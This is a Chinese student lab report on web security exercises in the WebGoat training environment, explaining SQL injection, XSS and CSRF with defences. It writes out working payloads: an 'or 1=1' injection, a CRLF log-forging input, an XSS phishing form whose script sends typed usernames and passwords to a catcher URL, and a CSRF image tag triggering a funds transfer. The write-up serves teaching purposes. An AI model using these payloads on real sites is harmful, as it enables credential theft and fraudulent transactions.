Exp9： Web安全基础

Exp9： Web安全基础

一、基础知识

1.SQL注入攻击

基本原理：
- 就是不法分子利用编程漏洞，通过表单输入特殊字符和恶意SQL代码，使得后台执行SQL查询时，对数据库产生不可预知或不可逆的攻击或破坏。
防御方法：
- 避免不必要的表单提交页面。
- 对表单输入进行控制，如：限制字符类型，限制字符长度等
- 在数据库层利用授权机制，限制数据库操作行为。

2.XSS跨站脚本攻击

基本原理：
- 攻击者利用网站漏洞，将恶意脚本代码通过注入，或者其他方式发送或存储到服务器中，通过利用用户对于浏览器的信任，当正常用户访问该服务器时就会受到脚本攻击，例如获得该用户的cookie或其他信息等。
防御方法：
- 用户尽量不要保存自己在浏览器中输入的用户名和密码
- 网站开发人员应该对用户上传的数据进行一定的过滤
- 对输入表单进行控制

3.CSRF跨站请求伪造

基本原理：
- 当用户访问网站A时输入用户名和密码，在通过验证后，网站A产生Cookie信息并返回，此时登录网站A成功，可正常发送请求到网站A。在未退出网站A前，若访问另一个恶意网站B，网站B可返回一些攻击性代码并请求访问网站A；因此在网站B的请求下，向网站A发出请求。但网站A不知道该请求恶意的，因此还是会执行该恶意代码。
防御方法：
- 验证请求中的Token
- 验证Referer
- 添加随机验证
- 设定cookie域

二、SQL注入

1. 命令注入

攻击过程：在表单提交中传入恶意命令数据，使其在服务器端执行。
实验过程：
- 在页面中点击鼠标右键，选择inspect Element
- 按键盘f12查看网页源代码
- 点击view按钮，执行代码结果如下：

2. 数字注入

攻击过程：在表单输入中输入数字生成永真式，使得注入的SQL语句必定可以执行。
实验过程：
- 在实验网页上查看源代码，对value='101'进行修改，添加or 1=1构成永真式，如图：
- 点击按钮执行，结果如下：

3. 日志欺骗

攻击过程：不法分子通过在注入脚本，通过脚本修改日志文件。
实验过程：
- 在实验环境提供的表单中输入2329%0d%0aLogin Succeeded for username: 162329其中%0d和%0a为回车符和换行符。
- 结果如下图：

三、XSS攻击

1. XSS钓鱼攻击

攻击过程：通过表单输入脚本，修改网页HTML，生成钓鱼网站，当用户输入时获取用户输入的信息。
实验过程：
- 在实验环境表单中输入脚本代码，构造钓鱼界面。
- 界面代码如下：

<form>

<br><br><HR><H3>This feature requires account login:</H3 ><br><br>

Enter Username:<br><input type="text" id="user" name="user"><br>

Enter Password:<br><input type="password" name = "pass"><br>

</form><br><br><HR>

<script>

function hack()

{

   alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);

   XSSImage=new Image;

   XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ";

}

</script>

将以上代码输入搜索框中，点击搜索如图：
当用户点击提交时攻击者界面会出现如下图：

四、CSRF攻击

1. 跨站请求伪造

攻击过程：
- 给用户发送一个恶意URL诱使其他用户点击，从而触发CSRF攻击。为了使用户更容易受骗，我们可以以图片的形式隐藏URL。
实验过程：
- 查看参数中src和menu值，为261和900
- 在message框中输入<img src="http://localhost:8080/WebGoat/attack? Screen=261&menu=900&transferFunds=2329"/>点击提交后结果如下：
- 当用户点击Message字段中的图片时就会盗取用户2329元

五、实验总结与体会

通过本次实验真实的感受了什么是SQL注入，XSS攻击和CRSF攻击，在实验中了解了其中的流程，也自己总结了对这些攻击的防御方法，感觉受益匪浅。

巴特西

2018-2019-2 20162329 《网络对抗技术》Exp9： Web安全基础

Exp9： Web安全基础

一、基础知识

1.SQL注入攻击

2.XSS跨站脚本攻击

3.CSRF跨站请求伪造

二、SQL注入

1. 命令注入

2. 数字注入

3. 日志欺骗

三、XSS攻击

1. XSS钓鱼攻击

四、CSRF攻击

1. 跨站请求伪造

五、实验总结与体会

最新文章

热门文章